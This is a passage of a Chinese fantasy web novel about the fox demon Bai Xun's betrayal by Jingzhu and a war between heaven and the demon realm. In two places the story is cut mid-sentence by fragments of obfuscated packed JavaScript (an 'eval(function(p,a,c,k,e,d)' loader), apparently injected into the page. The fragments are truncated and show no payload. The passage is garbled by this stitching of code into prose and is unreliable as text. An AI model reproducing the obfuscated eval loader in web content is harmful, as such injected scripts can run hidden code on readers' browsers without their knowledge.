白珣后撤半步稳住身形,抬眼便对上了静竹冷冽的目光。 烛火摇曳下,静竹持剑而立,她手腕一翻,剑尖直指白珣咽喉:“你还敢来?” 白珣有点不自在,他声音不高,但很清晰:“你别担心,我不是坏人。” 静竹盯着他,嘴角扯了扯:“好人谁会大晚上闯我的院子?” 白珣沉默了一会儿,才低声开口,语速比平时慢半拍:“我听说……你为了我立誓不嫁。” 他顿了顿,像是这句话烫嘴,“所以,下山来看看。” 静竹没动,眼神直直地落在他脸上:“那又怎样?你愿意娶我吗?” 白珣平日里自诩风流倜傥,此刻却被静竹直白的一句话逼得耳根发烫,下意识往后退了半步,抬手挡在身前,像是要隔开她那过于直白的目光。他干咳一声:“万万不可!我此行是特意来给姑娘道歉的,那日……的确是我一时冲动,万不可因为在下耽误了此生。” “冲动?”她抬眼看他,“擂台上时间一到,无人挑战,赢家自然要娶我,你既然不娶,我便只能想别的办法。” 却见静竹忽然抬手,清脆地拍了两下。门外立刻传来整齐的脚步声,护卫推门而入。 静竹站在原地开口说:“抓住他。” 白珣心头一跳,当即转身就走,衣角带起一阵急促的风。等他的身影彻底消失在院门外,护卫们才齐刷刷跪下,领头的那个额头抵地:“小姐,都是属下失职,竟让外人闯了进来。” 静竹望着白珣离去的方向,语气平淡:“他来了不必拦。” 护卫们面面相觑,却都默契地低下头,将疑惑咽回肚子里。 后来白珣往山下跑得越来越勤。起初是揣着满心愧疚来的,那日擂台上的一时冲动像块石头压在他胸口。 他躲在树梢上看静竹雷厉风行地处置城中事务,看她三言两语就摆平那些刁钻的商贾,看她把城主府上下打理得井井有条。 瀛洲城主时常望着女儿的背影叹气,说她若是个男儿该多好。 那日白珣隐在回廊转角,恰好听见静竹的贴身侍女愤愤不平地抱怨:“当初那个守将明明是我们安排好的,若不是白公子突然出现搅局,按计划再过半年,小姐就能名正言顺接管瀛洲城了!” 白珣才知道他阴差阳错,竟坏了静竹的布局。 静竹的处境说不上好,却也绝不轻松。那些须发花白的长老们整日在她父亲耳边絮叨,说什么女子终究要嫁人,偌大的瀛洲城岂能交给一个外姓夫婿。 他们像一群顽固的老树,盘根错节地挡在她面前。 静竹声称只嫁白珣,若是白珣不娶她,她便终身不嫁。 长老们拍案而起,指责她感情用事,她却难得显出几分执拗,说那日擂台上就已对白珣情根深种,若不嫁他,宁可孤独终老。 这话说得斩钉截铁,倒把一群老头子噎得说不出话。 白珣后来总隐在树梢檐角看她。他知道静竹那番话全是托词,自己不过是她用来堵住悠悠众口的挡箭牌。 这个认知让他说不上舒服,也称不上难过, 直到某日他藏在梁上时,静竹头也不抬地说了句:“下次走正门。” 白珣脚下一滑,差点摔下来。 静竹这才抬眼,眼底闪过一丝几不可见的笑意。 后来便成了惯例。他光明正大地来,她备好新茶。两人隔着案几对坐,一个说城中趣事,一个讲江湖见闻。茶香氤氲间,倒真有了几分知己的味道。 白珣靠在茶室的窗棂边,第一次向静竹提起自己的来历。他说西南的十万大山深处有座云雾缭绕的幽谷,自己是离家万里来昆山剑派求学的。提到家中那个总爱追着蝴蝶满山跑的幼弟时,他眼角微微弯起。 作为狐族这一代最出色的子弟,白珣肩头压着整个族群的期望。谷中同龄的狐狸要么敬畏他,要么嫉妒他,能说上几句知心话的反倒没几个。 幼弟倒是黏他,可惜还是个整天只惦记着偷抓蜂捕的小崽子。这些话他从未对人提起过,却在某个茶香袅袅的午后,自然而然地说了出来。 静竹记性极好。自从发现白珣对字画格外着迷,她每次巡查商铺时总会多留意几眼。有次甚至特意绕路去城南,只为取那方偶然得见的一方墨。 两人心照不宣地对视一眼,又各自别开视线,谁都没有点破那层窗户纸。 白珣送了她一把鲛绡剑,剑身修长,鞘上缠着暗青色的鲛绡,在日光下泛着流水般的光泽,他恰好瞥见静竹袖口露出一截缠手的布条,这位看似端庄的城主千金,私下怕是没少练剑。 “前日在剑阁瞧见的。”白珣语气随意,“送你” 静竹指尖抚过剑鞘上细密的云纹,嘴里说着城主千金该学的是琴棋书画,手腕却利落地挽了个剑花,剑气扫落窗外一枝早开的杏花,她看着白珣问:“送这个做什么?” 白珣嘴角不自觉扬起:“毕竟礼尚往来。” 从秋到冬,他们往来的信笺在檀木匣里越积越厚。静竹的字迹工整中带着锋芒,白珣的回信总夹着片昆山的红叶。 人类的寿命不过弹指一挥间,这个道理白珣从小就知道。可每次看到静竹在灯下批阅文书时垂落的发丝,他总忍不住多看两眼。 瀛洲城确实是块肥肉。白珣不止一次在暗处解决掉那些蠢蠢欲动的妖兽,也见过不少打着经商幌子来踩点的人族探子。 白珣随师兄外出历练几月,风尘仆仆赶回瀛洲城时,怀里还揣着那支在秘境中得来的翎凤钗。 钗尾的凤凰翎羽在阳光下泛着鎏金般的光泽,他一直记得茶馆里说书人讲起的“静竹引凤”的传说。可当他踏进城门,满眼都是刺目的红绸和喜字,街边小贩的叫卖声里都带着股喜气。 他随手拽住一个路人的衣袖:“这是谁家要办喜事?” 那人奇怪地看他一眼:“静竹小姐三日后大婚啊,新郎是李郃军师。” 白珣愣在原地,耳边嗡嗡作响,连路人什么时候走的都没注意。 城主府门前挂着崭新的红灯笼,几个侍女正在张贴喜联。白珣站在街角阴影里,摸出怀里的凤钗看了看,突然自己有些可笑。 白珣闯进静竹书房,问她为什么? 静竹开口说:“白珣公子,我不可能一辈子不嫁人的,从前那些话不过是随口一说。” “可你怎么如此突然要成婚。” 静竹唇角勾起个疏离的弧度:“这是我的事,没必要件件都向白公子汇报。” 白珣说了声“好”又说了句,“我明白了”,转身时从袖中取出那支翎凤钗放在案头:“新婚贺礼。” 他走得很快,没看见静竹拿起凤钗时微微发抖的手指。 那支钗在烛光下流转着细碎的光,静竹盯着看了很久,久到窗外更鼓敲了三下。她最终把它收进了妆匣最底层,铜锁扣上的声响在寂静的夜里格外清晰。 白珣在昆山剑派的石室里关了半个月,出来时下巴上冒出一层青茬。他拎着坛烈酒跃上瀛洲城最高的屋檐,瓦片在脚下发出轻微的碎裂声。 城主府张灯结彩,迎亲的队伍正绕着主街游行。白珣仰头灌了口酒,辛辣的液体顺着喉咙烧下去,却压不住心头那股火。 静竹穿着大红嫁衣的身影在人群中格外醒目,她身边的男人正笑着向围观百姓拱手。 酒坛砸在脚边碎成几瓣,白珣猛地站起身,衣袍被风吹得猎猎作响。 有那么一瞬间,他真想就这么冲下去,管他什么礼数规矩,先把人抢了再说。 但最终他只是抹了把脸,看着那顶绣着金凤的花轿缓缓驶入城主府。 白珣醉醺醺地靠在屋檐上,酒气熏得眼前发晕。 城主府突然窜起的火光撕破夜色,他一个激灵跃下房顶,冲进浓烟滚滚的内院时,正看见静竹攥着把匕首,刀刃划过了李郃的脖颈。 血溅在她大红的嫁衣上,暗沉沉的一片。 李郃捂着脖子踉跄后退,指缝里不断涌出粘稠的血浆,嘴里骂着你这个疯女人。 静竹脸上沾着血点,眼神却冷静得可怕,让他把解药交出来。 白珣从他们对话里才知道,李郃一直给静竹父亲下毒。 李郃手指还在神经质地抽搐,静竹握着匕首,白珣一个箭步冲上去扣住她手腕,才发现她整个人都在发抖。 白珣一把将静竹拉到身后,剑锋横扫逼退涌上来的侍卫。 整个城主府早已被李郃的人围得水泄不通,那些平日道貌岸然的长老都躲在人群后头指指点点。刀剑相撞的火星溅到白珣手背上,感觉体内妖力开始不受控制地翻涌。 一道寒光突然从侧面刺来,白珣来不及回防,却见静竹猛地扑过来挡在他身前。利刃没入肩膀的闷响让白珣瞳孔骤缩,鲜血瞬间浸透了她半边衣裳。 白珣体内最后那点克制彻底崩断,两道雪白的狐尾破空而出,在月光下泛着银辉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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城墙上贴满了通缉告示,李郃派人在街头巷尾散布静竹被妖物掳走的消息。白珣化作人形潜入瀛洲城时,正看见几个收妖人拿着罗盘在城主府周围布阵。他避开巡逻的侍卫,独自闯入内院,将奄奄一息的城主背了出来。 静竹跪在老城主床前,握着那双枯瘦的手。老城主最后看了女儿一眼,嘴唇动了动却没发出声音。白珣站在门外,听着里面压抑的哭声,拳头攥得死紧。 他们在城外的山坡上葬了老城主。白珣用妖力竖起一块无字石碑,转头看向静竹:“这里不安全了,跟我走吧。” 白珣想带他回狐谷,他会求着老祖容下她。 静竹站在新坟前没动,嫁衣上的血迹已经变成了暗褐色。她望着瀛洲城的方向,声音很轻:“白珣,那里才是我的家,其他地方都不是。” 城墙的轮廓在暮色中若隐若现。 白珣知道静竹心里憋着一股恨,那两年他心甘情愿当她的刀。 他们躲在城外的山林里,有时是破庙,有时是山洞,静竹总在深夜攥着他的衣襟发抖。 某个雨夜,她主动解开衣带,手指温柔地抚过他眉骨时说:“白珣,就当这是我们的大婚之夜,我也不知道自己有一天会死在哪里,你就走吧。” 白珣没说话,只是把她湿冷的手捂在掌心。 狐谷的传讯符来了七八次,最后那次甚至是老祖亲笔所书,他身份败露,狐谷在召他回去。 白珣看完就烧了,灰烬飘进火堆里,静竹靠在他肩上睡得很沉。 这两年静竹联络父亲的旧部,他就在暗处解决那些碍事的探子,两人配合得很好。 终于等到李郃伏诛那日,静竹站在城主府的高台上,背后是瀛洲城的万家灯火。白珣站在阴影处看着她接过城主印信,转身时衣摆扫过台阶上的血迹,那是李郃被处决时留下的。 等尘埃落定后,静竹约白珣在瀛洲崖见面。 那日她穿着初见时的素色衣裙,踏着清晨的露水,发间别着他送的翎凤钗,梳的是成婚的妇人发髻,眼角眉梢带着罕见的羞意。 白珣心跳如鼓,甚至开始盘算要不要回狐谷取些延年益寿的灵药,哪怕陪她过完这短暂的一生也好。 明明气氛正好之时,崖边的风突然凝滞,几位仙君踏云而至,衣袂翻飞间带起凛冽的仙气。 “大胆狐妖,胆敢在人间作乱,坏我仙界神女修行,我们今日便是奉天帝之命前来镇压你。” 白珣不知道他们在说什么,几乎是本能地将静竹往身后一拽,九条狐尾瞬间展开,在身后炸开一片银光。妖力全开的气浪震得四周山石崩裂,他指尖凝出的青光与仙君们的法器撞出刺目的火花。 整整三日,瀛洲崖上剑气与妖力交织,附近的草木尽数化为齑粉。白珣每次被击退就立刻反扑回去,始终将战场控制在远离静竹的位置。 他看不见静竹,听不见她,不知道她的处境。 却从那几个神仙嘴里听到了静竹是神女。 怎么可能? 期间他三次向狐谷发出求救的焰符,赤红的信号在云层中明明灭灭传去,却像石沉大海般得不到回应。 第四日天光微亮时,白珣终于支撑不住跪倒在地。九条尾巴沾满尘土和血迹,软塌塌地拖在身后。他喘着粗气用剑撑地,虎口震裂的血顺着剑柄往下滴,在焦黑的地面上洇出一个个暗红的小坑。 晨风吹散硝烟,露出对面仙君们同样狼狈却依旧挺立的身影。 白珣感觉到静竹冰凉的手指抚上他后背,还未来得及回头,心口就传来尖锐的刺痛。 那把镶着镇妖石的匕首精准地刺入胸口的妖丹,他不可置信地转身终于看清静竹的表情,冷静得陌生,好像在她眼里自己同一般妖族无二,她手上用力一推,白珣整个人向后跌入魔界裂隙。 白珣最后茫然坠落时看到的,是静竹被山风吹起的衣袂和决然转身的背影。 他想,明明静竹是来嫁他的。 怎么会如此。 26.讨伐 静竹坐在原地没动,她脸上湿漉漉的,自己都没察觉什么时候流了泪,直到白亦出声询问,她才猛地回神,抬手胡乱抹了把脸。 白亦站在她面前,身形,那眉眼,静竹仰头看他,眼神直勾勾的,声音有点哑:“你原来就是白珣的弟弟?” 白亦没立即回答。 静竹这个反应已经全部想起来了。 远处的天际传来震耳欲聋的轰鸣,灵力碰撞的余波将魔界上层的霾层撕得粉碎。 白珣的剑光如霜雪般凛冽,每一次挥斩都带着劈山断海之势,龙霖周身灵气翻涌,与剑芒激烈交锋,竟是谁也奈何不了谁。 魔尊立于魔兽之上,猩红的魔纹在他周身流转,源源不断的魔气从地底涌出,将他的力量维持在巅峰。 龙霖眼中寒光一闪,突然仰天长啸,刹那间,他的身形暴涨,化作一条通体漆黑的巨龙,鳞片在阳光下泛着冷硬的金属光泽。 龙尾横扫,山石崩裂,他腾空而起,朝着白珣直扑而去。 白珣丝毫不退,剑锋一转,灵力在周身形成一道坚不可摧的屏障。两股力量相撞的瞬间,天地都为之一震。 就在这时,龙霖突然闷哼一声,一道魔气猝不及防穿透了他的防御,在他胸口留下一道狰狞的伤口,连白珣也是一皱眉。 白亦瞳孔骤缩,再也顾不得其他,御剑而起,冲破重重阻拦,径直挡在了龙霖面前。 龙霖迅速化回人形,脸色苍白地捂着胸口,指缝间渗出刺目的鲜血。 他的目光复杂地落在白亦身上。 白亦的手轻轻落在龙霖渗血的伤口边缘:“龙霖,你没事吧?” 龙霖脸色阴沉,嘴角绷成一条直线,显然心情极差,却硬是忍着没发作。 白珣站在不远处:“过来。” 龙霖眼神一厉,嗓音里压着怒意:“你在跟谁说话?” 白珣连眼神都没给他一个,只盯着白亦重复道:“白亦,过来。” 龙霖胸口剧烈起伏了一下,理智告诉他现在不是计较这个的时候,作为一个成熟的道侣,他该冷静处理眼下局面。可还没等他调整好情绪,白亦突然抬头,冲着对面的魔尊开口:“你说过不伤他的......你怎么能骗我?” 龙霖掌心骤然凝聚起刺目的金光,灵力狂暴地翻涌着,将周围的空气都灼烧得扭曲。 他一把将白亦拽到身后,声音冷得掉冰渣:“躲我身后去,今日我非要斩下他的头。” 两人距离极近,龙霖用只有他们能听见的气音咬牙道:“逆鳞的事你该给我个解释。” 白亦眼神飘忽了一瞬,明显心虚起来。龙霖脑子里里瞬间脑补了许多版故事,对面这魔尊显然也是狐族,该不会是白亦以前认识的小竹马,在心里狠狠骂了句奸夫,怒火烧得胸口发疼。 下一刻,龙霖身形暴起,杀招尽出,金光如雷霆般劈向白珣。 这一击威力惊人,白珣被逼退百米,脚下地面龟裂出蛛网般的裂痕。魔兽发出凄厉嘶鸣,往生河的河水剧烈震荡,掀起数丈高的浪涛。 两人战得昏天黑地,灵力碰撞的余波将周围的山石尽数碾为齑粉。 白亦看着这场面,终于忍不住喊道:“哥,龙霖,你们住手!” 龙霖闻此称呼动作猛地一顿,不可置信地回头看向白亦。就这瞬息的分神,白珣的剑光已至,龙霖整个人被击飞出去,重重撞在数百米外的山壁上,碎石簌簌落下。 白亦扶住他肩膀,声音都变了调:“你没事吧?” 龙霖呛出一口血,抬手随意抹了把嘴角,眼神却死死钉在白珣身上,又缓缓移向白亦,眉头皱得能夹死苍蝇:“......哥?” 白亦点了点头:“龙霖,我之后再同你解释,你们不要打了好不好?” 白珣站在不远处,剑尖垂地,周身萦绕着冷冽的剑气:“白亦,过来,神仙皆是虚情假意之辈。” 龙霖借着白亦的力道站起身,凑到他耳边压低声音道:“你哥怎么看上去被神仙伤得不轻......” 白亦说你先别说了。 白亦:“哥,我知道你恨,可是有很多无辜的人不应该被卷入进来,你不该派魔使去往人界和妖界伤害无辜之人。” “无辜之人?”白珣突然冷笑一声,眼底闪过一丝讥诮。 话音未落,静竹被带到了他手边。白珣站在了她身后,修长的手指看似随意地搭在她纤细的脖颈上,力道却足以让人窒息。静竹一动不动,任由他钳制,连睫毛都没颤一下。 “你说的是这样的无辜者吗?”白珣的声音近乎危险,指尖在静竹颈间一寸寸收紧,“你只是只小狐狸,当然不懂他们的险恶用心,他仗着年长你许多诱哄于你,只有我才是你世上唯一可以信赖之人。“ 静竹依旧沉默,苍白的脸上看不出任何情绪,仿佛一尊没有生气的瓷偶。 龙霖眉头一挑:“我?诱哄你?” 白亦慌忙摇头:“不是。” 白珣抬手对着身后的魔兽群打了个手势,兽群立刻骚动起来,猩红的眼睛齐刷刷锁定龙霖,獠牙间滴落腥臭的涎水。 “抓住真龙。”白珣的声音不大,却让整个山谷都为之一静。 龙霖反应极快,一把搂住白亦的腰。在腾空而起的瞬间,他瞥见静竹苍白的嘴唇无声地张合说着快走。龙霖化作原形的刹那,狂风骤起,卷起漫天尘土。身后,无数魔兽嘶吼着追来,利爪将地面刨出深深的沟壑。 不知过了多久,龙霖身形一晃,龙鳞褪去,重新化作人形。白亦立刻从他身上撑起身,警惕地环视四周,这是个幽深的山洞,岩壁上凝结着晶莹的水珠,远处传来滴水的声音。 “这是哪里?”白亦的声音在空旷的洞穴里回荡。 龙霖靠在岩壁上,胸口微微起伏:“一个安全的地方。” 语气中是掩不住呼吸间的疲惫。 白亦注意到龙霖苍白的脸色,慌忙凑过去:“你没事吧?” 龙霖挑眉看着他搭在自己肩上的手,白亦立刻缩回爪子,老老实实低下头,声音越来越小:“对不起,我要逆鳞是为了我哥,我不想看到他浑浑噩噩、毫无理智的样子,可我没想到他恢复神智后的第一件事就是复仇。” 龙霖沉默片刻,突然问道:“那你哥和静竹......” 白亦将他们那些年恩怨纠葛一一道来。山洞里只有他低低的声音和远处滴水的声音,龙霖靠在岩壁上静静听着,眼神晦暗不明。 白亦小心翼翼道:“你生气了吗?” 龙霖绷着脸,眼神沉沉地看他:“你说呢?” 白亦低着头,睫毛垂下来,在眼下投出一小片阴影。他这些日子明显瘦了,脸颊的线条更加分明,衬得五官愈发精致,透着一股憔悴:“我知道都是我的错,还害你受伤了。” 龙霖胸口莫名一窒。他本来是真想发火的,白亦总是这样,什么事都闷在心里,自己扛着,连个商量的余地都不留。可看着眼前这人微红的眼眶,瘦了一圈的脸,那股火气愣是发不出来,反而被揪得心口发酸。< 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白亦抬起头:“可是我哥都是他们害的......” 龙霖揉了揉他的发顶:“你哥执念太深,恐怕不会听劝,天帝厌恶妖族至极,膝下子嗣稀薄,唯独静竹这一个女儿。” 龙霖不免说起静竹的身世,相传她是仙族女子所生,后来那女子爱上妖族男子,抛下天帝父女离去。这段往事在天界是禁忌,鲜少有人提起。 “如今你哥带着静竹一同入魔,”龙霖眉头紧锁,“天帝绝不会善罢甘休。” 龙霖握住白亦的手腕,力道不轻不重:“此事莫要再同第二个人提起,恐怕会牵连整个狐族。眼下我先带你去灵山避一避。” 龙霖带着白亦来到一处隐秘的山谷,这里是他母亲的故乡。四周灵气浓郁得几乎化为实质,在空气中流淌着莹润的光泽。 山神早已得到龙霖的指令,将整片山谷封锁得严严实实,连只飞鸟都进不来。 白亦替龙霖换药重新包扎,最后在他肩膀上落下一个轻吻。龙霖突然收紧手臂,将他整个人箍进怀里,鼻尖埋在他颈间深深吸气,声音闷闷的:“你不知道你哥把浮灵珠给我送来的时候,我听到你在魔界的时候,快要吓死了。” 白亦双臂环住龙霖的腰,把脸贴在他胸口:“对不起。” 夜里白亦蜷缩在龙霖怀中,久违地睡了个安稳觉。龙霖的体温透过衣衫传来,心跳声在耳边规律地响着,让他这些天来紧绷的神经终于放松下来。 第二天龙霖要离开时,白亦抓着他的衣袖不肯松手。龙霖转身捏了捏他的后颈,低头在他脸颊落下一吻。 “我已经让人带信给狐族,相信我,呆在此处最安全。” 白亦点点头:“我相信你。” 灵山的日子的确清闲。这里是龙霖母亲曾经的居所,虽然久无人住,但一草一木都透着灵性。白亦每日除了修炼,就是慢慢修缮那些年久失修的木廊和亭台。起初还有灵鸟准时送来龙霖的讯息,叮嘱他按时吃饭、勤加修炼。 可半个月后,那些传信的间隔越来越长,从迟了一日,到三日,最后整整七天都没有消息。 白亦站在山门前等了又等,最终还是一脚踏出了结界。 没离开灵山范围多远,就听见有妖族议论纷纷,天界集结大军陈兵往生河,誓要讨伐魔界。而更让他心头一紧的是,他们口中那个“重伤的真龙上神”。 27.终章(正文完) 龙霖受伤了。 ——他哥做的吗? 白亦想见龙霖,现在、立刻、马上,想确认他的伤势,想触碰他的温度,想用最直接的方式证明他是否还安好。 可他不能擅闯天界。 理智和疯念在脑子里撕扯,最终,他想起了云邃上仙曾给过他的信物,一枚青玉令符,当年他搬进启祥殿时,云邃随手抛给他,半是玩笑半是警告地说:“要是龙霖欺负你,就用这个唤我。” 白亦把令符捏碎,他等了很久。 云邃出现时,抱着手臂,懒洋洋的,眉梢微挑:“狐狸精,你唤我做什么?” 白亦喉咙发紧:“云邃上仙,你能带我去见龙霖吗?” 云邃眼底的不爽几乎溢出来,还是开口说:“他最近……怕是有些焦头烂额吧。” 白亦紧张说:“他到底怎么样?” 云邃从鼻腔里哼了一声:“你还是这么喜欢他?紧张他?真没出息。” 白亦面露哀求:“上仙,你就帮帮我吧,好歹以前我也在你手底下做事。这样吧,我让龙霖把你从他那儿搬走的东西还给你,好不好?” 云邃的表情微妙地松动了一瞬。他眯起眼睛打量白亦,忽然嗤地笑出声:“行吧。” 他袖袍一拂,一道清光笼住白亦周身。 “谁让我是个好人,我带你见他。” 妖气被仙术遮掩得滴水不漏。 云邃扔了件素白外袍过来,让白亦扮作随从跟紧了,丢了可不负责。 云邃带着白亦踏上九重天时,天色正沉。仙雾缭绕间,他指尖一抬,一道浅淡的流光覆过白亦面容,连带着周身气息都敛得干干净净,仿佛真的只是个不起眼的小仙童。 可越靠近启祥殿,云邃的眉头就皱得越紧。 ——不对劲。 殿外层层叠叠围满了天兵,银甲冷光森然,肃杀之气几乎凝成实质。这哪里像是龙霖在受伤休养?分明是……幽禁。 云邃一把扣住白亦手腕,转身就要走。 “云邃上仙。” 一道声音凉凉地截住去路。天帝身边那位最得力的仙官不知何时已立在身后,面上含笑,眼底却很凉:“天帝请两位一聚。” 云邃面上却仍挂着那副漫不经心的笑:“好吧,天帝有请,岂有不去之理。” 他侧身将白亦挡了挡:“只是我这小童粗鄙,没见过世面,带过去反倒冲撞了天帝。” 仙官一句“难道上仙想违抗天帝的命令”轻飘飘地落下,骤然勒紧了空气。云邃的脸色彻底冷了下来,眼底那点惯常的散漫笑意荡然无存,取而代之的是某种近乎锋利的寒意。 他早该想到的。 天帝终究还是对龙霖出手了。 这些年来,九重天看似风平浪静,云海依旧翻涌,仙乐袅袅,可谁都心知肚明,四位曾经的上神,正被一寸寸剥离权力的中心。 天帝的手段并不激烈,甚至称得上温和。每一次仙宴上恰到好处的冷落,每一道不着痕迹的调令,每一回看似无心的权责削减。 龙霖的启祥殿倒是最后冷清下来,只因龙族祖辈守护着往生河。 上神之位仍在,却已名存实亡。 云邃眼睁睁看着白亦被带走,握紧了拳却无能为力。 九重天的凌霄殿比传说中更森冷。白亦被推搡着跪在玉阶下,膝盖撞上冰冷的云砖,他挺直了背脊。 天帝就坐在那至高之处,垂眸看他的眼神像在看什么肮脏的蝼蚁。 “你就是龙霖下凡渡劫遇到的那个妖物?” 白亦抬头,正对上天帝那双毫无温度的眼睛,那里面盛着轻蔑,盛着厌恶,还盛着某种更隐秘的、近乎扭曲的兴味。 天帝身形保持着恰到好处的老态,银发如霜,眼角刻着几道象征岁月沉淀的细纹,不过是另一种威慑。 天帝忽然抬手示意天兵退开。 他缓步走下玉阶,衣袍拂过地面时连一丝声响都没有,却让白亦浑身的肌肉都绷紧了。 “上神也不过如此。”天帝轻笑一声,像在评估一件劣质的赝品,“也还是会被这等凡尘魅惑之物所勾引。” 白亦并不答话, 天帝继续开口说:“知道吗?真龙上神为了你,向我请辞,说要带你隐退。“ 白亦始终不发一言。 天帝的声音在凌霄殿内回荡:“我早已明令,仙族不得与妖物通婚。龙霖以为,得了上神传承,就能凌驾天条之上?” 天帝口中的“关口”是往生河畔战云密布,魔族大军压境,而龙霖正是横亘在两界之间最后的屏障,天帝不允许他此刻抽身而退。 “你真的觉得自己是对的?”白亦妖瞳里闪着讽刺,“现在这一切,不过是你亲手种下的孽果。” 天帝的目光像在看什么肮脏的东西:“下界妖物,也配谈论天理?” 他袖袍一挥,白亦顿时被无形的力量扼住咽喉,随后他就感觉到自己正在被一寸寸种下咒:“你们贪婪成性,最擅蛊惑人心。本座所做一切,皆为九重天。” 咒印烙下的瞬间,白亦只觉得心脏被一寸寸冻僵。 那种冷不是来自外界,而是从血脉最深处漫上来的寒意。 “带下去,别伤他。"天帝转身时,玉冠垂下的珠串发出清脆的碰撞声,“他可是请动龙霖的......良药。” 当禁锢松开时,白亦跪倒在地。指尖触及的皮肤下,有什么东西正在缓慢地蚕食他的妖丹, “你身上被我种下了雪咒,我随时可以要你的命。” 当白亦被送回启祥殿时,天兵说得恭敬,说是送回神殿里走失的小童。 龙霖早已得到命令等候在殿外,白亦手臂被环住时带着熟悉的温度。 龙霖在探查到他体内咒印的瞬间骤然收紧,白亦能感觉到那双手在微微发抖,不是虚弱,而是压抑到极致的愤怒。 龙霖的脸色越来越难看,眉宇间凝着化不开的寒霜。 “你没事吧?“白亦指尖揪住龙霖的衣襟。 龙霖将白亦搂住往殿内带,下颌线绷得死紧:“我没事,我是故意受伤,故意抗命……可你为什么会在这里?” 白亦:“我担心你啊,没有你的消息……我是不是成了你的负担?” 龙霖怎么舍得责怪白亦?突然中断的信件,杳无音讯,换作是谁都会忧心如焚。 龙霖将人整个圈进怀里,下巴轻轻蹭过白亦发顶:“累了就睡会儿吧。” 白亦确实倦极了,他担忧得几日几夜都没睡好,如今哪怕很糟糕,可看见龙霖,他还是觉得心安。 “我被天帝下了咒。” 龙霖说:“无碍。” 白亦便真的信了。 床榻间还残留着龙霖惯用的香薰,白亦蜷在锦被里,呼吸渐渐平稳。龙霖坐在床边,他指尖凝起一点金光,小心翼翼地探向白亦心口,却在触及雪咒的刹那,看见睡梦中的人猛地蹙眉,冷汗瞬间浸湿了鬓角。 “唔......”白亦无意识地挣动,唇色以肉眼可见的速度褪成惨白。 龙霖慌忙撤手,那道金光碎成星屑消散在空气里。 白亦突然睁开眼,手指死死攥住龙霖的袖口:“你别去往生河,我没事的。” 龙霖握住他冰凉的指尖,将颤抖的指节包进掌心,拇指蹭过对方泛红的眼尾,又重复了一遍,不知是在说服谁:“我知道,一定会没事的。” 白亦:“多痛我都可以忍受的,你别去往生河,我不想看到你我哥相残。” 龙霖沉默了很久说好。 那之后,白亦便陷入了一场漫长的沉睡。 往生河畔,天地变色。 龙霖立在悬崖边,一身玄色锦袍被狂风吹得猎猎作响。他身后是列阵的天兵,银甲反射着惨淡的天光。 而对面—— 魔尊立于魔兽之首,那畜生獠牙森白,尾巴扫过之处山石崩裂。黑压压的魔物大军在他身后蠕动,像一片污浊的潮水。 “静竹公主呢?” 魔尊轻笑一声,指尖随意一抬。藤妖夏玲珑便从阴影中现身,血藤缠绕间,一个藤笼缓缓升起。 笼中的静竹早已不复往日骄傲。白衣被血浸透,凌乱地贴在身上。她倚着藤条,可那双眼睛让龙霖心头一震,他认识静竹百年,从未见过她露出这样的眼神。 那里面空得可怕,仿佛已经死过一回。 静竹的眼神已经变了,原本清亮的瞳孔蒙上一层血色,眉间隐约浮现魔纹,她半倚在笼中,像朵被强行染黑的白梅。 “你想要怎样?”龙霖看着他。 白珣微微仰头,黑发在风中狂舞:“仙族撤离往生河。” 他张开双臂,仿佛要拥抱这片晦暗的天空:“这种不见天日的日子,我们过够了。” “做梦。” 白珣嘴角扯出一个讥诮的弧度:“上神,上次的伤养好了吗?” 他忽然蹲下身,手掌猛地按在魔兽头顶,五指如刀,直接刺入那畜生的皮肉。魔兽发出震天嘶吼,却在顷刻间血肉消融,只剩一具森白骨架轰然倒塌。魔尊站在骷髅上,衣袍无风自动:“今日,我要血洗天界。” 天际突然传来一声龙吟,震得云层翻涌。抬头望去,两道身影在空中缠斗,每一次碰撞都迸发出刺目的光,仿佛要把这方天地生生劈开。 * 龙霖原以为白亦会安静地沉睡,直到被安然送回狐谷。 可床榻上的人突然睁开了眼睛。 司晨吓得差点打翻药碗,瓷盏在托盘上磕出清脆的声响。白亦的瞳孔还蒙着一层未散的雾气,却已经坐起死死抓住他的手问:“龙霖呢?” 司晨和司命对视一眼,话在嘴边打了几个转。 白亦笑容又冷又苦:“他讨厌我瞒着他,可是他又何尝不是用同样的手段对付我。” “龙霖是对你好。”司晨开口说,“等事了结,他自会来找你。” “了结?”白亦反问,“怎么个了结法?” 司晨一时竟然无言。 正僵持间,往生河的战报便传来,仙魔鏖战两昼夜后,龙霖突然调转方向,直指天帝。天帝这些年的所作所为,早让天界人心涣散。龙霖当众立誓不伤同僚,只要天帝性命。 如今那往生河畔,已成修罗场。 血雾像一层永不散去的纱幔,将整片河岸笼罩在暗红色的阴霾里。 河水中沉浮着破碎的兵刃,偶尔泛起的气泡带着腥味。岸边焦黑的土地寸寸龟裂,裂缝中不时窜出几缕未熄的魔火。 没人敢靠近这片死地。 没人知道谁还活着,谁已经化作河底又一具枯骨。 司晨万万没想到白亦还能跑。 那具身体明明已经在睡梦中熬过两轮雪咒,龙霖执意要取天帝性命,正是因为这道无解的死咒,除非下咒者魂飞魄散,否则只要下咒者催动雪咒,中咒者终将一天会血液凝固而亡。 白亦拖着疲惫的躯壳来到往生河时,眼前的景象比他想象的还要惨烈,仙界旌旗半埋在血泥里。 他知道这场不死不休的厮杀,可能会吞噬他生命中最重要两个人。 白亦死死攥住心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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少年白珣摸了摸白亦的头说对,他从怀里掏出一个骨哨,郑重地挂在弟弟脖子上:“记住,以后谁再欺负你,就吹这个,无论多远哥哥都能听见,一定来帮你。” 记忆中的小狐狸紧紧攥着哨子,用力点头时,绒毛都跟着一颤一颤的。 “多远都能听见吗?” “多远都行。” 白亦被一条蛇形魔兽缠绕,几乎快要窒息的时候,那蛇兽被一股力量震退,龙霖将白亦搂进怀里:“谁让你来这里的,你知道有多危险吗?” 白亦看见龙霖的一瞬间,眼泪就下来了,双臂搂住他:“多危险我也要和你们在一起。” 龙霖将白亦死死扣在怀中。他的下颌抵着白亦的发顶,龙鳞在皮肤下若隐若现,仿佛这样就能把怀中人揉进骨血里保护起来。 不远处,第二轮厮杀已然爆发。 